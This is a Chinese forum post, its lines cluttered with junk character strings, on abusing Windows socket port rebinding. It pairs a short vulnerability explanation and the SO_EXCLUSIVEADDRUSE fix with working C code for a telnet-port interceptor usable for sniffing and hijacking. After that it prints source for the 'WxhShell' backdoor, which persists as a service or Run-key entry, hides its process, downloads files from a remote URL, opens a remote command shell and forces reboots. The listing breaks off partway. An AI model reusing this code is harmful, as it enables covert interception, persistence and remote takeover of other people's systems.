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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H%Sx*|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '^t(=02J  
@v\jL+B+m  
  saddr.sin_family = AF_INET; |i'w"Tz4  
H`U>ZJ.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8g 2'[ci$q  
E+aE5wmr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Luh*+l-nO  
y{qKb:~wv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qB=%8$J  
NEMC  
  这意味着什么?意味着可以进行如下的攻击: W QyMM@#  
}Mh`j $  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *7/MeE6)i  
I#t# %!InH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u&Y1,:hiL  
C'0=eel[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .$-%rU:*}  
1\Vp[^#Vx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !% yd'"6Dl  
ez*O'U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cU=/X{&Om  
(@u"   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v%2Jm!i+  
o7 X5{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u!VY6y7p  
;hU~nj+{  
  #include ZGWZ2>k  
  #include Q-S5("  
  #include /T/7O  
  #include    h|&qWv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   so\8.(7n  
  int main() xHdv?69,  
  { !p"Ijz5  
  WORD wVersionRequested; {nmBIk2v  
  DWORD ret; x\XOtjJr  
  WSADATA wsaData; 0Z~G:$O/i  
  BOOL val; y <21~g=  
  SOCKADDR_IN saddr; EY 9N{  
  SOCKADDR_IN scaddr; ,1-#Z"~c  
  int err; SSI('6Z/  
  SOCKET s; #kDJ>r |&-  
  SOCKET sc; ~Aq$GH4  
  int caddsize; %L;'C v  
  HANDLE mt; +LAjh)m  
  DWORD tid;   XB-l[4?  
  wVersionRequested = MAKEWORD( 2, 2 ); }>u<,  
  err = WSAStartup( wVersionRequested, &wsaData ); VYN1^Tp  
  if ( err != 0 ) { &8wluOs/5  
  printf("error!WSAStartup failed!\n"); o.H(&ex|  
  return -1; ZnYoh/  
  } ;;l-E>X0  
  saddr.sin_family = AF_INET; |yow(2(F@  
   0xg6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e!~x-P5M`  
}fKpih  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 27KfT] =  
  saddr.sin_port = htons(23); a7Rg!%r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UKxeN[fv  
  { >T~d uwS  
  printf("error!socket failed!\n"); -( ,iwF b  
  return -1; VWa;;?IK  
  } q+-Bl  
  val = TRUE; Syj7K*,%bZ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O(QJiS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^iq$zHbc0u  
  { +'!vm6  
  printf("error!setsockopt failed!\n"); V|8`]QW@  
  return -1; {$mj9?n=v  
  } i.`RQZ$,/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; SLG3u;Ab  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F[S Ys/M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HJu;4O($  
wm r8[n&c  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^yB>0/{)z  
  { U$(AZ|0  
  ret=GetLastError(); .AgD`wba  
  printf("error!bind failed!\n"); \hwz;V.J"  
  return -1; x GHS  
  } RGim):1e  
  listen(s,2); )FrXD3 p  
  while(1)  P7GF"/  
  { o!+jPwEU  
  caddsize = sizeof(scaddr); R\wG3Oxol  
  //接受连接请求 lx&ME#~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &N! ;d E  
  if(sc!=INVALID_SOCKET) [!E8C9Q#!  
  { LMvsYc~]q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yXx}'=&!0  
  if(mt==NULL) Qm\VZ<6/5  
  { i`1QR@11  
  printf("Thread Creat Failed!\n"); SrVJ Q~ :>  
  break; `<L6Q2Y>j  
  } c|'hs   
  } }~RH!Q1  
  CloseHandle(mt); ,4wZ/r> d  
  } :!f1|h  
  closesocket(s); OW12m{  
  WSACleanup(); b}[W[J}`  
  return 0; vK?{Z^J][  
  }   'J`%[,@V  
  DWORD WINAPI ClientThread(LPVOID lpParam) `_;VD?")*l  
  { *?`:=  
  SOCKET ss = (SOCKET)lpParam; G*|2qX"o  
  SOCKET sc; ? N|B,F  
  unsigned char buf[4096]; YrR}55V,  
  SOCKADDR_IN saddr; Uv06f+P(  
  long num; @edi6b1W  
  DWORD val; :h&*<!O2B`  
  DWORD ret; {]}}rx'|P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l%^'K%'b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c!BiGw,;  
  saddr.sin_family = AF_INET; W1s4[rL!Ht  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m"!!)  
  saddr.sin_port = htons(23); v?\bvg\E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @Ooh}V#J  
  { &zF1&J58z  
  printf("error!socket failed!\n"); 7 C5m#e3  
  return -1; ~pqp`  
  } Z;_WU  
  val = 100; oh5fNx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =B(zW .Gf  
  { l#,WMu&  
  ret = GetLastError(); v |XEC[F  
  return -1; #isBE}sT{  
  } * SG0-_S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7ST[XLwt%}  
  { +x!V;H(  
  ret = GetLastError(); u=I>DEe@ c  
  return -1; ]~z2s;J{/  
  } H5Rn.n(|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) : /9@p  
  { =^P<D&%q  
  printf("error!socket connect failed!\n"); J}coWjw`q  
  closesocket(sc); ]OoqU-q  
  closesocket(ss); Aov=qLWJ  
  return -1; u8*Uia*vwH  
  } AG#5_0]P~  
  while(1) '(kySf[  
  { 6M"]p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6|05-x|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $H/3t?6h`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "~4ULl< i'  
  num = recv(ss,buf,4096,0); &Q^M[X  
  if(num>0) ?R0sY ?u  
  send(sc,buf,num,0); HzM^Zn57%  
  else if(num==0) e jwFQ'wTx  
  break; 67Ai.3dR  
  num = recv(sc,buf,4096,0); m?_S&/+*  
  if(num>0) o_<o8!]l"  
  send(ss,buf,num,0); #Vanw!  
  else if(num==0) v.+-)RLQg  
  break; YSt']  
  } ~_SV `io  
  closesocket(ss); Z8Fbx+~"  
  closesocket(sc); S5'BXE,  
  return 0 ; D a)[mxJ  
  } CCX\"-C  
}abM:O "Y  
Ku_`F2Q  
========================================================== <Ja>  
,k/*f+t  
下边附上一个代码,,WXhSHELL p~28?lYv  
xX  
========================================================== JLRw`V,o7  
NrTQ}_3)  
#include "stdafx.h" " 7RQrz  
'?_;s9)  
#include <stdio.h> gQ*0Mk  
#include <string.h> r9G<HKl  
#include <windows.h> TE0hV w0c  
#include <winsock2.h> a[)in ,3  
#include <winsvc.h> 'u$$scGt  
#include <urlmon.h> 1P4jdp=~  
o\8yYX  
#pragma comment (lib, "Ws2_32.lib") L^)&"6oSa  
#pragma comment (lib, "urlmon.lib") 7 #_{UJ%  
5-bd1!o  
#define MAX_USER   100 // 最大客户端连接数 QdG_zK>|e  
#define BUF_SOCK   200 // sock buffer 9S.Uo[YY  
#define KEY_BUFF   255 // 输入 buffer w1aa5-aF  
b IcLMG s  
#define REBOOT     0   // 重启 zHr1FxD  
#define SHUTDOWN   1   // 关机 lx~!FLn  
Ud:v3"1  
#define DEF_PORT   5000 // 监听端口 rU5gQq;  
(M6B$:  
#define REG_LEN     16   // 注册表键长度 vI#\ Qe  
#define SVC_LEN     80   // NT服务名长度 #OH-LWZh  
D2~e@J(K  
// 从dll定义API S(Xab_DT)H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K3TMTY<p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M=e]v9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w:& m_z#M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |qJQWmJO&U  
X #-U  
// wxhshell配置信息 `RfhxzI  
struct WSCFG { cgm]{[f  
  int ws_port;         // 监听端口 ]~)FMWQz-  
  char ws_passstr[REG_LEN]; // 口令 _odP:  
  int ws_autoins;       // 安装标记, 1=yes 0=no X<_(gg  
  char ws_regname[REG_LEN]; // 注册表键名 I* \o  
  char ws_svcname[REG_LEN]; // 服务名 '6fMF#X4F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JMpjiB,A}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +%8c8]2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $)mE"4FE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8\`]T%h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4)-LlYS_d<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;p/RS#  
G1vWHa7n;f  
}; 91r#lDR  
R|ViLty  
// default Wxhshell configuration Tv3Bej  
struct WSCFG wscfg={DEF_PORT, F>)u<f,C  
    "xuhuanlingzhe", 93[c^sc9*a  
    1, v$w!hYsQ  
    "Wxhshell", ?Il$f_"B:  
    "Wxhshell", ]6p?mBuQ  
            "WxhShell Service", kp[+Iun?  
    "Wrsky Windows CmdShell Service", I2q C,Nkk  
    "Please Input Your Password: ", I)]wi%  
  1, 2md1GWyP  
  "http://www.wrsky.com/wxhshell.exe", n!&DLB1z  
  "Wxhshell.exe" [(5;jUmF@  
    }; !t{3IE  
 ]k_@F6 A  
// 消息定义模块 //\ORJd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (+38z)f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {$HW_\w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &|IY=$-  
char *msg_ws_ext="\n\rExit."; ^{_`jE  
char *msg_ws_end="\n\rQuit."; <jQ?l% \  
char *msg_ws_boot="\n\rReboot..."; 9@#Z6[=R,  
char *msg_ws_poff="\n\rShutdown..."; u}JL*}Q  
char *msg_ws_down="\n\rSave to "; ^LE`Y>&m  
$[6:KV  
char *msg_ws_err="\n\rErr!"; _LFZ0  
char *msg_ws_ok="\n\rOK!"; !!b5vzyve  
Ni'vz7j  
char ExeFile[MAX_PATH]; #q%xJ[  
int nUser = 0; lKrD.iYt8  
HANDLE handles[MAX_USER]; OOGqtA;  
int OsIsNt; s9PD[u/y  
amK?LDf]  
SERVICE_STATUS       serviceStatus; A jr]&H4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ce/Rzid  
bPAp0}{Fu  
// 函数声明 :O{`!&[>L  
int Install(void); 3lqR(Hh3  
int Uninstall(void); V{O,O,*  
int DownloadFile(char *sURL, SOCKET wsh); .%h.b6^  
int Boot(int flag); B9/x?Jv1  
void HideProc(void); '%yWz)P  
int GetOsVer(void); s@E "EWp0  
int Wxhshell(SOCKET wsl); X5cl'J(j9  
void TalkWithClient(void *cs); #qGfo)  
int CmdShell(SOCKET sock); ;+g p#&i`  
int StartFromService(void); :Oo(w%BD]  
int StartWxhshell(LPSTR lpCmdLine); /-b)`%Q|Y  
*T*=~Y4kE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `$jc=ZLm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VJS|H!CH  
:se o0w]  
// 数据结构和表定义 cXFNX<  
SERVICE_TABLE_ENTRY DispatchTable[] = 0 ML=]  
{ &7!&]kA+  
{wscfg.ws_svcname, NTServiceMain}, Pk7Yq:avL  
{NULL, NULL} 8xs[{?|:  
}; AdesR-e$R  
DmM<Kkg.J  
// 自我安装 ^<'5 V)  
int Install(void) Y'&A~/Adf  
{ `=RJ8u  
  char svExeFile[MAX_PATH]; Qa~o'  
  HKEY key; 6&S;Nrg9  
  strcpy(svExeFile,ExeFile); (n05MwKu\  
D+]#qS1q  
// 如果是win9x系统,修改注册表设为自启动 CDQ}C=4  
if(!OsIsNt) { _{)e\n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $*V:; -H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <->Nex  
  RegCloseKey(key); ~&4Hc%*IB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qYBoo]}a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X#j-Ld{j  
  RegCloseKey(key); Wjn1W;m&g  
  return 0; >c*}Do{lG  
    } !s06uh  
  } B?'`\q) UL  
} nPj%EKdY4  
else { 8Gzc3  
hn#i,XnY  
// 如果是NT以上系统,安装为系统服务 ya0L8`q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !jL|HwlA  
if (schSCManager!=0) UB }n=  
{ v=EV5#A  
  SC_HANDLE schService = CreateService 0'wB':v  
  ( qvy~b  
  schSCManager, cu5Yvp  
  wscfg.ws_svcname, "jH=O(37  
  wscfg.ws_svcdisp, "G-} wt+P  
  SERVICE_ALL_ACCESS, \/g.`Pe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o_p#sdt"  
  SERVICE_AUTO_START, S H2|xn  
  SERVICE_ERROR_NORMAL, <RS@,  
  svExeFile, laG@SV  
  NULL, l&S2.sC  
  NULL, 1P:r=Rt/  
  NULL,  AC@WhL  
  NULL, o7)<pfif  
  NULL S#Tc{@e  
  ); l)m\i_r:  
  if (schService!=0) U:ggZ`.  
  { 0f}zm8p7.  
  CloseServiceHandle(schService); NBuibL  
  CloseServiceHandle(schSCManager); 1{i)7 :Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Kv^ez%I  
  strcat(svExeFile,wscfg.ws_svcname); fNNkc[YTZI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,f8<s-y4Sg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YQ9@Dk0R  
  RegCloseKey(key); ?Y7'OlO  
  return 0; q(4W /y  
    } Z{s&myd  
  } Y u\<  
  CloseServiceHandle(schSCManager); `,gGmh  
} o4,fwPkB  
} &4Q(>"iL4  
1OJD!juL$  
return 1; ifTMoC%  
} R]O!F)_/'  
kwU~kcM  
// 自我卸载 rxH*h`Xx@  
int Uninstall(void) }CnqJ@>C5  
{ R("g ]  
  HKEY key; \>0%E{CR  
99w;Q 2k  
if(!OsIsNt) { d0ThhO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7cV9xIe^  
  RegDeleteValue(key,wscfg.ws_regname); 2?9 FFlX  
  RegCloseKey(key); 0g}+%5]yg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 64;F g/t  
  RegDeleteValue(key,wscfg.ws_regname); L1A0->t  
  RegCloseKey(key); ?muI8b  
  return 0; MG)wVS<d_  
  } M>W-lp^3  
} GxE"q-G  
} J0CEZ  
else { fmyyQ|]O"  
]L#6'|W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7?a@i; E<  
if (schSCManager!=0) T\ZWKx*#  
{ 35I y\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^j&'2n@ 9a  
  if (schService!=0) /nEt%YYh;x  
  { mL/]an@Y  
  if(DeleteService(schService)!=0) { g"vg {Q  
  CloseServiceHandle(schService); UmYReF<<_  
  CloseServiceHandle(schSCManager); :+,>0%  
  return 0; T&Z%=L_Q  
  } ,RIGV[u  
  CloseServiceHandle(schService); Q;{[U!\:  
  } Z0*Lm+d9z  
  CloseServiceHandle(schSCManager); ^*.S7.;2o  
} RU&,z3LEb  
} t I}@1  
pwo5Ij,~q  
return 1; gI8r SmH  
} q] g'rO'  
7 j$ |fS  
// 从指定url下载文件 NX7(;02  
int DownloadFile(char *sURL, SOCKET wsh) tdZ,sHY6  
{ E*VUP 5E  
  HRESULT hr; b<,Z^Z_  
char seps[]= "/"; _/;k ;$gDp  
char *token; Q79& Q04XN  
char *file; s`"o-w\$>  
char myURL[MAX_PATH]; .w5#V|   
char myFILE[MAX_PATH]; lU]/nKyd  
6&/H XqP  
strcpy(myURL,sURL); k^3 ?Z2a  
  token=strtok(myURL,seps); 3=o^Vv  
  while(token!=NULL) SN2X{Q|*  
  { me]O  
    file=token; {Ic~}>w  
  token=strtok(NULL,seps); ;#c|ZnX  
  } mXZOkx{  
0CXh|AU  
GetCurrentDirectory(MAX_PATH,myFILE); v&g(6~b_>  
strcat(myFILE, "\\"); n{vp&  
strcat(myFILE, file); T&Dt;CSF  
  send(wsh,myFILE,strlen(myFILE),0); &t)dE7u5  
send(wsh,"...",3,0); |rJ1/T.9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); { ?p55o  
  if(hr==S_OK) 8joJ e>9VJ  
return 0; =hE5 ?}EP+  
else tBEZ4 W>67  
return 1; w)I!q&`Y  
WBTdQG Q6  
} zt/p' khP3  
cU}j Whu  
// 系统电源模块 `P;fD/I  
int Boot(int flag) 'Y23U7 n0B  
{ |~mq+:44+  
  HANDLE hToken; Y9F78=Q  
  TOKEN_PRIVILEGES tkp; :UjHP}s  
p)}iUU2N  
  if(OsIsNt) { g Z3VT{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K{[ySB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?>47!):-*  
    tkp.PrivilegeCount = 1; R03V+t=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S-[]z*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U85t !U  
if(flag==REBOOT) { dtJaQ`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :b+C<Bp64r  
  return 0; 3\eb:-B:@  
} "kyy>H9)  
else { ]X4 A)4y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f:L%th  
  return 0; Zyq h  
} E"k\eZns&  
  } b;\qF&T  
  else { \~ O6S`,  
if(flag==REBOOT) { BBw]>*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) & i|x2; v  
  return 0; p1t9s N,  
} s]Z/0:`  
else { _$/(l4\T[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {xr!H-9ZAA  
  return 0; K1RTAFf /  
} Q1V4bmM  
} =g' 7 xA  
YBQO]3f  
return 1; $oK,&_  
} MO)N0{.b  
6 )eO%M`  
// win9x进程隐藏模块 NwM=  
void HideProc(void) UMUr"-l =  
{ b8)>:F  
/yn1MW[.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /Kb7#uq  
  if ( hKernel != NULL ) <x DD*u  
  { YhFB*D;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]od]S 8$5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S*rgYe!E  
    FreeLibrary(hKernel); VkFTIyt  
  } AR'q2/cw  
t6_6Bl:  
return; f5zxy!dhKS  
} 2-nL2f!a{p  
E,E:WuB  
// 获取操作系统版本 X4*{CM  
int GetOsVer(void) [(}f3W&  
{ jy{T=Nb  
  OSVERSIONINFO winfo; qJB9z0a<Ov  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <QT u"i  
  GetVersionEx(&winfo); Jis{k$4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vV.'&."g  
  return 1; yi%A*q~MT  
  else /78gXHv  
  return 0; orf21N+[  
} ^sd+s ~ xx  
$ t_s7  
// 客户端句柄模块 3WS`,}  
int Wxhshell(SOCKET wsl) p #'BV'0bl  
{ Qpiv,n  
  SOCKET wsh; %yJL-6U  
  struct sockaddr_in client; QsI#Ae,O#;  
  DWORD myID; j2deb`GD  
VkhZt7]K}B  
  while(nUser<MAX_USER) b_cnVlN[  
{ eV^@kI4  
  int nSize=sizeof(client); bmhvC9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /L'm@8  
  if(wsh==INVALID_SOCKET) return 1; Hkg^  
xZPSoxu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DSYtj} >  
if(handles[nUser]==0) r vVU5zA4H  
  closesocket(wsh); p=\DZU~1  
else ?2OT:/I,  
  nUser++;  S20x  
  } 8^&)A b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uDK`;o'F  
ww nc  
  return 0; _)p@;vGV  
} $&EZVZ{r  
vTQQ d@  
// 关闭 socket >BMJA:j  
void CloseIt(SOCKET wsh)  BqP:]  
{ oh%T4 $  
closesocket(wsh); @5\OM#WT~&  
nUser--; -aLBj?N c[  
ExitThread(0); pZ+zm6\$  
} sn2SDHY  
_a8^AG  
// 客户端请求句柄 8|{:N>7  
void TalkWithClient(void *cs) $@Zb]gavt?  
{ oiJa1X  
7 ;|jq39  
  SOCKET wsh=(SOCKET)cs; 9~ajEs  
  char pwd[SVC_LEN]; r.xGvo{iY  
  char cmd[KEY_BUFF]; !sEI|47{  
char chr[1]; m/=,O_  
int i,j; f,d @*E  
Y<:%_]]  
  while (nUser < MAX_USER) { *y5d&4G2  
:IV4]`  
if(wscfg.ws_passstr) { /$\yAOA'y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~e{AgY)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PkF B.  
  //ZeroMemory(pwd,KEY_BUFF); i pjl[  
      i=0; "Vho`x3  
  while(i<SVC_LEN) { A;1<P5lo  
Cq !VMl>hP  
  // 设置超时 7n,nODbJ  
  fd_set FdRead; ?qAX *j  
  struct timeval TimeOut; S"CsY2;  
  FD_ZERO(&FdRead); Lx8 ^V7 X  
  FD_SET(wsh,&FdRead); D *Siy;  
  TimeOut.tv_sec=8; !lm^(SSv  
  TimeOut.tv_usec=0; w:r0>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OQ 5{#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qeQTW@6 F  
{(o\G"\<XY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d~g  
  pwd=chr[0]; {[hV ['Awv  
  if(chr[0]==0xd || chr[0]==0xa) { 7 '2E-#^  
  pwd=0; @,CCwiF'q  
  break; *oY59Yf  
  } @Q !f^  
  i++; +NxEx/{  
    } tB&D~M6[  
p W:[Q\rSj  
  // 如果是非法用户,关闭 socket 28d:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IxYuJpi  
} ` R!0uRu  
1FjA   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :o*{.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ul(1)q^  
(jPN+yQ  
while(1) { KAjKv_6=g  
isj<lnQ  
  ZeroMemory(cmd,KEY_BUFF); }bIEWho  
-qs.'o ;2  
      // 自动支持客户端 telnet标准   }z,4IHNn  
  j=0; "#rlL^9v  
  while(j<KEY_BUFF) { IA&((\YC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s_.q/D@vu  
  cmd[j]=chr[0]; - tF5$pb'  
  if(chr[0]==0xa || chr[0]==0xd) { RA+Y./*h  
  cmd[j]=0; 8/-GrdyE  
  break; +'= ^/!  
  } #fG!dD42  
  j++; m589C+7  
    } {3$ge  
ORv[Gkq_N)  
  // 下载文件 "h_n/}r=  
  if(strstr(cmd,"http://")) { HMgZ& v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JXftQOn  
  if(DownloadFile(cmd,wsh)) _t:rWC"X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QP7EPaW  
  else 6@wnF>'/\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]0 ouJY  
  } j &,vju  
  else { A8e b{qv  
WyA>OB<Zeq  
    switch(cmd[0]) { za<Ja=f9X  
  +TpM7QaL  
  // 帮助 WQv~<]1J F  
  case '?': { 6b-d#H/1Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O(~`fN?n  
    break; Ny*M{}E  
  } =(Mv@eA"  
  // 安装 HpDU:m  
  case 'i': { V F6OC4 K  
    if(Install()) / w_ Sc{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M4nM%qRGQ  
    else ]B3 0d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }C2I9Cl  
    break; x@v,qF$K  
    } $SG^, !!&A  
  // 卸载 {8@?9Z9R{  
  case 'r': { &KbtW_  
    if(Uninstall()) /A_</GYs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W E|L{  
    else .DHZs#R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]AERi] B  
    break; #8;^ys1f  
    } '[qG ,^f  
  // 显示 wxhshell 所在路径 ]'~'V2Ey  
  case 'p': { ^zs CF0  
    char svExeFile[MAX_PATH]; ?F AsV&y  
    strcpy(svExeFile,"\n\r"); H",yVD  
      strcat(svExeFile,ExeFile); ;L(W'+  
        send(wsh,svExeFile,strlen(svExeFile),0); q{yz]H,  
    break; s3g$F23  
    } U+@yx>!  
  // 重启 XLqS{r~?  
  case 'b': { H$(%FWzQ%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >p\IC  
    if(Boot(REBOOT)) %j2YCV7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b[GZ sXD-  
    else { ?.\ CUVK  
    closesocket(wsh); pSE"] N  
    ExitThread(0); S.t+HwVodO  
    } "uTzmm$  
    break; 6by5VESx  
    } (W=z0Lqu  
  // 关机 %?X~,  
  case 'd': { hrU.QF8  
